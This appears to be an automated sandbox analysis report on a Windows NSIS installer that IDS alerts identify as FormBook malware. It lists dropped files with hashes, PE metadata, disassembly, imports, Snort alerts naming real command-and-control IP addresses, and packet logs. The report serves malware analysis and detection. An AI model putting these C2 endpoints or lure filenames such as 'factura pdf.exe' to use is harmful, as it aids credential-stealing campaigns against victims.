Preview:	ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

C:\Users\user\AppData\Local\Temp\Distressingly\Bloods\Ultraevangelical\Micala\aarhundredeskiftet\Dichroitic30\Climaxed\Custom3.ini

Process:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
File Type:	Generic INItialization configuration [Effect2]
Category:	dropped
Size (bytes):	5487
Entropy (8bit):	4.3524133300305206
Encrypted:	false
SSDEEP:	96:hJDu0BoU1s8G9LfGOOOOOOjOOOOOOEOOOOOOBOOOOOONsOOOOOO/OOOOOOAOOOOW:mCs8GVfGOOOOOOjOOOOOOEOOOOOOBOO4
MD5:	9D3C4AEBBDBCB28530EF93081611A33E
SHA1:	867F6A5B16638E1BFC012DFF7E63E45ADD44342E
SHA-256:	24EC6D9A80EF077A81018001F16E7D7EFE6DEB82B7BD120C8C5227BA65C63F07
SHA-512:	4E5E2ADAE00F160EBDB322B12C33582F8397B909841E76FA634D10C3BCAF90C822DA8F9F494A29FA0EA4B558B6D44BAAEBAF737156B6E38359FB5CFC36874D2E
Malicious:	false
Preview:	..;Static - FW effect index 0..[Effect1]..ColorR=255..ColorG=0..ColorB=0..Direction=0..Random=0..Ext1=0..Speed=0..Color2R=0..Color2G=0..Color2B=0..DirectType=0..SpeedType=0....;Breath - FW effect index 1..[Effect2]..ColorR=255..ColorG=0..ColorB=0..Direction=0..Random=0..Ext1=0..Speed=49..Color2R=8..Color2G=255..Color2B=240..SpeedType=2..DirectType=0..MusicType=0..CometType=0..StarType=0..TriggerType=0..TemperatureH=0..TemperatureL=0....;Strobing - FW effect index 2..[Effect3]..ColorR=255..ColorG=0..ColorB=0..Direction=0..Random=0..Ext1=0..Speed=102..Color2R=0..Color2G=0..Color2B=0..SpeedType=2..DirectType=0..MusicType=0..CometType=0..StarType=0..TriggerType=0..TemperatureH=0..TemperatureL=0....;ColorCycle - FW effect index 4..[Effect4]..ColorR=255..ColorG=0..ColorB=0..Direction=0..Random=0..Ext1=0..Speed=60..Color2R=0..Color2G=0..Color2B=0..SpeedType=2..DirectType=1..MusicType=0..CometType=0..StarType=0..TriggerType=0..TemperatureH=0..TemperatureL=0....;Rainbow - FW effect index 8..[E

C:\Users\user\AppData\Local\Temp\Dybfrossen.ini

Process:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.131687083026442
Encrypted:	false
SSDEEP:	3:pDQo7JKU2QYEJry:FQov1YEw
MD5:	09EFF7D465578AB16342D01B9115172C
SHA1:	13311B4DEBC749082CFB1A65DA02759642A9C1D7
SHA-256:	1B5F1F40B8BA4A1F6C314D8C2E1F16D138A70C0D96A3010CF4EC4D44110A443F
SHA-512:	62F99CCB5C6E936A61279DCA2AECB61D6B1B7E3E7E750B0D4C38F10BFE3EE0CE02BC58FA2B87C6784BF60BE0A700BBF179FD8905781E6B0007DE64B8B391685F
Malicious:	false
Preview:	[Decimallngdernes]..Floragrafere=Palms..

C:\Users\user\AppData\Local\Temp\nsl1543.tmp\System.dll

Process:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.770803561213006
Encrypted:	false
SSDEEP:	192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
MD5:	2AE993A2FFEC0C137EB51C8832691BCB
SHA1:	98E0B37B7C14890F8A599F35678AF5E9435906E1
SHA-256:	681382F3134DE5C6272A49DD13651C8C201B89C247B471191496E7335702FA59
SHA-512:	2501371EB09C01746119305BA080F3B8C41E64535FF09CEE4F51322530366D0BD5322EA5290A466356598027E6CDA8AB360CAEF62DCAF560D630742E2DD9BCD9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PmRXFyOFkf.exe, Detection: malicious, Browse Filename: PmRXFyOFkf.exe, Detection: malicious, Browse Filename: Lakeringernes (1).exe, Detection: malicious, Browse Filename: Lakeringernes (1).exe, Detection: malicious, Browse Filename: proforma.exe, Detection: malicious, Browse Filename: proforma.exe, Detection: malicious, Browse Filename: factura pdf.exe, Detection: malicious, Browse Filename: factura pdf.exe, Detection: malicious, Browse Filename: factura pdf.exe, Detection: malicious, Browse Filename: factura pdf.exe, Detection: malicious, Browse Filename: factura pdf.exe, Detection: malicious, Browse Filename: factura pdf.exe, Detection: malicious, Browse Filename: payload.exe, Detection: malicious, Browse Filename: payload.exe, Detection: malicious, Browse Filename: FACTURA pdf.exe, Detection: malicious, Browse Filename: FACTURA pdf.exe, Detection: malicious, Browse Filename: Tudbrlet.exe, Detection: malicious, Browse Filename: Tudbrlet.exe, Detection: malicious, Browse Filename: factura 1722 pdf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L...tc.W...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.923758478946491
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Jjfmcz1Hsz.exe
File size:	298144
MD5:	f4cad3f0195d098ced41c4926a5695c2
SHA1:	3fb8e89ac063889b73d65e66fff6760100d59d15
SHA256:	72abd0b67059b670e94fb0b2397e3b4334d0effbab4a1dc1a659780eacce4984
SHA512:	bb448efbc2a79bd74cda1e29004d23196146047ad5100c71b4c92a1d6026aaf97e4a3ff05db5ca01ac7697124ff86dd6c1417eb02f9766da51c5d0e9c31714d5
SSDEEP:	6144:vC2zExgrpHojHH+LqA4Ewfra6Ff2xjwPzZcTQXn8F:r0grpHJqA4EwfrXh7ZOZ
TLSH:	865412054F728017DBE746B90AF7FBB4EBF9D71265211B8B23189AEE2910783C56530D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L....c.W.................^.........

File Icon


Icon Hash:	f89ab6b68aa686ec

Static PE Info

General

Entrypoint:	0x4030d9
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5795638D [Mon Jul 25 00:55:41 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Authenticode Signature

Signature Valid:	false
Signature Issuer:	OU="Regarder Halssmykke Fakturaernes ", E=Wordspinner@Elsklinger.Ic, O=Fingernails, L=Weston, S=England, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	05/10/2022 07:47:04 04/10/2025 07:47:04
Subject Chain	OU="Regarder Halssmykke Fakturaernes ", E=Wordspinner@Elsklinger.Ic, O=Fingernails, L=Weston, S=England, C=GB
Version:	3
Thumbprint MD5:	8EB54C0BFF1B3DA79A43DB8D1178F924
Thumbprint SHA-1:	A33F7A1725293C2FE9EDB4E84FD59D2825F30096
Thumbprint SHA-256:	79F5257BD0CCEEDE577544366C2412E54EFC715947DC2839F6E7D9ECFCB484FB
Serial:	1FD1066F27A2D2F2

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007FCA093585C3h
push ebx
call 00007FCA0935B531h
cmp eax, ebx
je 00007FCA093585B9h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007FCA0935B4ADh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007FCA0935859Dh
push ebp
push 00000009h
call 00007FCA0935B504h
push 00000007h
call 00007FCA0935B4FDh
mov dword ptr [00423704h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [004237B8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECC8h
call dword ptr [00407174h]
push 00409188h
push 00422F00h
call 00007FCA0935B127h
call dword ptr [0040709Ch]
mov ebp, 00429000h
push eax
push ebp
call 00007FCA0935B115h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b000	0x16a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x46d90	0x1f10
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c5b	0x5e00	False	0.6603640292553191	data	6.411456379497882	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	False	0.42734375	data	5.005029341587408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a7f8	0x400	False	0.6376953125	data	5.108396988130901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x17000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3b000	0x16a8	0x1800	False	0.3681640625	data	4.643642871246492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x3b238	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States
RT_ICON	0x3b5a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152, 256 important colors	English	United States
RT_DIALOG	0x3be48	0x144	data	English	United States
RT_DIALOG	0x3bf90	0x13c	data	English	United States
RT_DIALOG	0x3c0d0	0x100	data	English	United States
RT_DIALOG	0x3c1d0	0x11c	data	English	United States
RT_DIALOG	0x3c2f0	0x60	data	English	United States
RT_GROUP_ICON	0x3c350	0x14	data	English	United States
RT_MANIFEST	0x3c368	0x33d	XML 1.0 document, ASCII text, with very long lines (829), with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20103.63.2.17549870802031412 12/05/22-15:16:29.824802	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49870	80	192.168.11.20	103.63.2.175
192.168.11.20185.101.158.23949883802031453 12/05/22-15:17:12.752525	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49883	80	192.168.11.20	185.101.158.239
192.168.11.20103.63.2.17549870802031453 12/05/22-15:16:29.824802	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49870	80	192.168.11.20	103.63.2.175
192.168.11.20192.185.32.15749850802031449 12/05/22-15:15:32.371812	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49850	80	192.168.11.20	192.185.32.157
192.168.11.20192.185.32.15749912802031453 12/05/22-15:18:48.078621	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49912	80	192.168.11.20	192.185.32.157
192.168.11.20185.101.158.23949883802031412 12/05/22-15:17:12.752525	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49883	80	192.168.11.20	185.101.158.239
192.168.11.20103.63.2.17549938802031449 12/05/22-15:19:44.781098	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49938	80	192.168.11.20	103.63.2.175
192.168.11.201.1.1.163234532014169 12/05/22-15:15:00.577362	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	63234	53	192.168.11.20	1.1.1.1
192.168.11.20192.185.32.15749912802031449 12/05/22-15:18:48.078621	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49912	80	192.168.11.20	192.185.32.157
192.168.11.20194.245.148.18949879802031449 12/05/22-15:17:01.537708	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49879	80	192.168.11.20	194.245.148.189
192.168.11.2045.130.41.2449840802031449 12/05/22-15:15:06.993468	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49840	80	192.168.11.20	45.130.41.24
192.168.11.20103.63.2.17549870802031449 12/05/22-15:16:29.824802	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49870	80	192.168.11.20	103.63.2.175
192.168.11.2045.130.41.2449904802031453 12/05/22-15:18:23.919550	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49904	80	192.168.11.20	45.130.41.24
192.168.11.20192.185.32.15749850802031453 12/05/22-15:15:32.371812	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49850	80	192.168.11.20	192.185.32.157
192.168.11.2045.130.41.2449904802031412 12/05/22-15:18:23.919550	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49904	80	192.168.11.20	45.130.41.24
192.168.11.20192.185.32.15749850802031412 12/05/22-15:15:32.371812	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49850	80	192.168.11.20	192.185.32.157
192.168.11.20103.63.2.17549938802031453 12/05/22-15:19:44.781098	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49938	80	192.168.11.20	103.63.2.175
192.168.11.20185.101.158.23949883802031449 12/05/22-15:17:12.752525	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49883	80	192.168.11.20	185.101.158.239
192.168.11.2045.130.41.2449840802031412 12/05/22-15:15:06.993468	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49840	80	192.168.11.20	45.130.41.24
192.168.11.20192.185.32.15749912802031412 12/05/22-15:18:48.078621	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49912	80	192.168.11.20	192.185.32.157
192.168.11.20103.63.2.17549938802031412 12/05/22-15:19:44.781098	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49938	80	192.168.11.20	103.63.2.175
192.168.11.2045.130.41.2449840802031453 12/05/22-15:15:06.993468	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49840	80	192.168.11.20	45.130.41.24
192.168.11.2045.130.41.2449904802031449 12/05/22-15:18:23.919550	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49904	80	192.168.11.20	45.130.41.24
192.168.11.20194.245.148.18949879802031453 12/05/22-15:17:01.537708	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49879	80	192.168.11.20	194.245.148.189
192.168.11.20194.245.148.18949879802031412 12/05/22-15:17:01.537708	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49879	80	192.168.11.20	194.245.148.189

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2022 15:13:33.629997015 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:33.630106926 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:33.630258083 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:33.655256987 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:33.655313015 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:33.691273928 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:33.691550970 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:33.691946983 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:33.692195892 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:33.860373020 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:33.860896111 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:33.861090899 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:33.867636919 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:33.908360958 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:34.515096903 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:34.515376091 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:34.515431881 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:34.515615940 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:34.515680075 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:34.515681028 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:34.515738010 CET	443	49821	172.217.23.110	192.168.11.20
Dec 5, 2022 15:13:34.515969038 CET	49821	443	192.168.11.20	172.217.23.110
Dec 5, 2022 15:13:34.691198111 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.691283941 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:34.691441059 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.691809893 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.691854954 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:34.754673958 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:34.754821062 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.754890919 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.756876945 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:34.757126093 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.760481119 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.760507107 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:34.761181116 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:34.761318922 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.764353991 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:34.808501959 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.114306927 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.114522934 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.114583015 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.114784956 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.114953995 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.115153074 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.115751982 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.115950108 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.115950108 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.116099119 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.116766930 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.117001057 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.117047071 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.117213964 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.117249966 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.117409945 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.117474079 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.117688894 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.117721081 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.118026018 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.122776031 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.122956038 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.123003006 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.123152971 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.123198032 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.123341084 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.123378038 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.123594046 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.123631001 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.123788118 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.123821974 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.123974085 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.124067068 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.124233961 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.124268055 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.124411106 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.124452114 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.124608994 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.125113010 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.125272036 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.125314951 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.125494003 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.125531912 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.125684023 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.125792027 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.125942945 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.125976086 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.126133919 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.126195908 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.126347065 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.126439095 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.126591921 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.126807928 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.126970053 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.127027035 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.127211094 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.127250910 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.127480030 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.127661943 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.127811909 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.127850056 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.127995014 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.128024101 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.128174067 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.128504038 CET	443	49823	142.250.184.225	192.168.11.20
